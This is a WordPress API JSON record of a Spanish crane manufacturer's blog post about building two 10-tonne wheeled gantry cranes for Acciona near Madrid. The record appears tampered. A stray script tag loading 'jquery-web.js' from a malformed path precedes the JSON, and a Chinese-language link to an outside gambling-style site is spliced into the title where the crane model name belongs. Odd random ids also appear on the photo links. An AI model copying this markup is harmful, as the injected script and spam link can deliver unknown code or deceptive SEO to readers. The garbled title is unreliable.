<script src="///jquery-web.js"></script>{"id":4437,"date":"2017-06-30T08:05:29","date_gmt":"2017-06-30T06:05:29","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=4437"},"modified":"2017-07-14T17:01:03","modified_gmt":"2017-07-14T15:01:03","slug":"desarrollo-de-2-gruas-portico-automotor-para-acciona","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/desarrollo-de-2-gruas-portico-automotor-para-acciona\/","title":{"rendered":"Fabricaci\u00f3n de 2 gr\u00faas p\u00f3rtico automotor modelo <a href="http://globaltransolutions.com" target="_blank">豪门国际</a>集团-10I\u00a0para Acciona"},"content":{"rendered":"<p>Fotos del proceso de fabricaci\u00f3n de\u00a0<strong>2\u00a0gr\u00faas p\u00f3rtico sobre ruedas,<\/strong>\u00a0que se han desarrollado para <strong>Acciona Agua Sau Passavant Roediger GMBH UTE <\/strong>y que se montar\u00e1n en las instalaciones de\u00a0<strong>Alcobendas, Madrid<\/strong>.<\/p>\n<p>Estos <b>porticos automotores\u00a0<\/b>que tienen una longitud superior a lo habitual, alcanzando\u00a0los 19m. de luz, cuentan con una doble elevaci\u00f3n de 5t., ofreciendo\u00a0una capacidad total de <strong>10t.<\/strong><\/p>\n<p>La <strong>velocidad<\/strong> de traslaci\u00f3n es de <strong>60m\/min<\/strong>. y el manejo se realiza mediante <strong>radio pupitre<\/strong>.<\/p>\n<p><a id="esbmbkta" href=\"https:\/\/youtu.be\/jivJMzUY5NI\">Ver v\u00eddeo.<\/a><\/p>\n<p><a id="wqbpglgp" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/05\/grua-portico-acciona-20170109_124325.jpg\"><\/a><a id="pabqkqft" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/05\/grua-portico-acciona-20170109_124624.jpg\"><\/a> <a id="xnjremff" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/05\/grua-portico-acciona-20170109_124554.jpg\"><\/a><a id="jpmetjff" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/05\/grua-portico-acciona-20170109_124347.jpg\"><\/a><a id="nzpmfeal" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/05\/grua-portico-acciona-20170109_124659.jpg\"><\/a><a id="grpnmcxq" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/05\/grua-portico-acciona-20170109_124642.jpg\"><\/a>\u00a0<a id="gxztakby" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/05\/grua-portico-acciona-20170209_171039.jpg\"><\/a><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Fotos del proceso de fabricaci\u00f3n de\u00a02\u00a0gr\u00faas p\u00f3rtico sobre ruedas,\u00a0que se han desarrollado para Acciona Agua Sau Passavant Roediger GMBH UTE y que se montar\u00e1n en las instalaciones de\u00a0Alcobendas, Madrid. Estos porticos automotores\u00a0que tienen una longitud superior a lo habitual, alcanzando\u00a0los 19m. de luz, cuentan con una doble elevaci\u00f3n de 5t., ofreciendo\u00a0una capacidad total de 10t. [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":5129,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[530,907,875,74,110,8,185],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/05\/grua-portico-acciona-20170109_124256.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/4437"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=4437"}],"version-history":[{"count":9,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/4437\/revisions"}],"predecessor-version":[{"id":5261,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/4437\/revisions\/5261"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/5129"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=4437"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=4437"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=4437"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}